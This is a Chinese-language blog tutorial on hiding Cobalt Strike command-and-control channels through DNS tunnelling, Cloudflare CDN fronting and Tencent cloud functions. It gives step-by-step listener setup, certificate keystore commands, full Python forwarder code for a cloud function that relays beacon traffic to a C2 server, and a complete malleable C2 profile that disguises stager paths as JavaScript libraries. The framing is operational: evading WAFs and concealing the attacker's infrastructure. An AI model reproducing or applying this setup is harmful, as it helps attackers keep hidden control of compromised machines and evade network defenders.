目录导航
1.前言
话接上篇,上篇写了cs的常见特征隐藏,这次来讲解下,几种木马上线,常见的隐藏方法,其中有代理转发上线,DNS上线,CDN上线,域前置上线,云函数上线。
其中域前置上线,通过 这种方法需要厂商的支持,早些时候的amazon和google云都支持,后来取消了。随后cloudflare也取消了域前置的支持,目前国内的aliyun是支持的,曾经ali的cdn绑定域名不需要校验,可以随意绑定域名,实现高可信度域名绑定,现在则添加了域名验证, 不太好设置,如果想看,可以到我的博客中查看。
咱们这次就介绍三种常用的上线方式,DNS、CDN、云函数上线
2 DNS上线
- 一般我们拿到的shell都是,对出网有限制的,一般只能DNS出网,这时候就要用到我们 DNS 协议建立 C2 通信。,一般waf不会分析DNS流量,这一点也是能够隐蔽的特性。
- DNS_TXT隧道传输:控制端发送的对目标的操作命令被加密后通过DNS的TXT记录里,通过DNS隧道传输隐蔽性较强不易被发现,但传输速度非常慢。
前期准备
- 需要准备一个不需要备案的域名
- 国外vps
正文
域名注册
- 想白嫖域名可以到freenom.com注册一个免费且不用备案的的域名,但是我重来没用成功过。
- 趣域网可以代购国外域名,quyu.net购买一个不需要备案的域名
DNS记录配置
当注册好域名后,我们就要来配置dns了,创建A记录对应IP为VPS的IP,创建NS记录,解析地址为A记录的域名



CS的Listeners配置


上线之后是个小黑屏,使用checkin
命令让dns beacon强制回连teamserver,并输入命令 mode dns-txt
使传输的数据更多一些

3 CDN上线
CDN的IP是多个域名共用的,为了做到精确判断,CDN会解析我们的host头,根据这样的方式进行判断通信域名,这样我们设置上线IP设置为CDN服务器的IP,host设置为我们的DNS,达到隐藏IP的需求
前期准备
- CDN服务器,可以选择CloudFlare,amazon,google,tencent,aliyun,都可
- 免备案域名,参考上一节
- 国外vps服务器,可以选择Vultr之类的,实在没用就用国内的也行
正文
CDN服务器注册
- 想白嫖的可以去CloudFlare注册申请免费CDN加速
- 腾讯云,也可以白嫖6个月的免费CDN加速
配置CND服务器
这里我就用,CloudFlare做做测试了,把域名接入到CloudFlare管理,设置默认CDN加速
接入域名后,并添加个A记录域名,开启CDN加速


CS的Listeners配置
Cloudflare支持的HTTP端口是: 80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPs端口是: 443,2053,2083,2087,2096,8443
CDNhttp上线


成功上线

抓包流量走的都是CDN的IP
CDNhttps上线
CS使用CDN后,可以一定程度隐藏IP地址,使用WireShark抓包交互IP都是CDN地址,但是传输协议使用的HTTP,传输内容是没有加密的,如果要加密,则可以使用HTTPS。
还以CloudFlare为例,切换到SSL/TLS栏,证书类型选择完全,如下图:

切换到源服务器,创建证书保存私钥和证书

将生成的内容分别存储为1.pem和1.key(名字可以随便起),传到CS所在的服务器,然后生成新的store文件,执行下面命令,生成相关的store文件:命令中xxx.xxxx.com替换为自己的域名
openssl pkcs12 -export -in 1.pem -inkey 1.key -out a.p12 -name xxx.xxxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore https.store -srckeystore a.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias xxx.xxxx.com

最后需要更改cs的配置文件中https-certificate的配置
https-certificate { set keystore "https.store"; set password "123456"; }

重启teamserver设置Listeners


抓包查看,流量已经SSL/TLS加密,流量的IP是DNS服务器的IP
4 云函数上线
云函数还是得益于Serverless架构,或者称为无服务器架构,是最近几年新冒出来的一种架构风格,仅需用户编写和上传核心业务代码,交由平台完成部署、调度、流量分发、弹性伸缩等能力。
我们就可以利用云函数,配置个流量转发,C2Client访问云函数,云函数将流量转发到咱们的C2服务器,一般云函数服务器都会配置CDN,这样速度还行,还可以达对C2服务器的隐藏。
前期准备
- 支持云函数的厂商azure,tencent都可
- 国外vps服务器,可以选择Vultr之类的,实在没用就用国内的也行
正文
云函数配置
这里我们用tencent做测试,在控制台中找到云函数,创建给新的云函数服务,选择自定义,python3.6环境

代码为:
# -*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context): C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~ path=event['path'] headers=event['headers'] print(event) if event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content) response={ "isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1] } return response

配置触发器,选择自定义,触发版本选择LATEST最新,触发方式选择API网关触发,这里的API网关触发,根据文档介绍可知它的机制,即将请求内容以参数形式传递给函数,并将函数的返回作为响应的内容。其它选项默认即可。




更改完成后,即可发布服务,完成后,可以在api服务的基础信息中看到公网的默认访问地址,有80和443两个端口,配置的CS监听地址是http就用80端口,https就用443端口

CS的Listeners配置
配置CS Profile,内容这里参考下面示例
set sample_name "t"; set sleeptime "3000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get { set uri "/api/x"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Nodejs"; output { base64; print; } } } http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; } http-post { set uri "/api/y"; client { header "Accept" "*/*"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } } }
Listeners的host和Hosts和Stager Host都设置为你的云函数URL

抓包看流量,C2通信的HOST是api的域名IP是腾讯云的CDN服务器IP.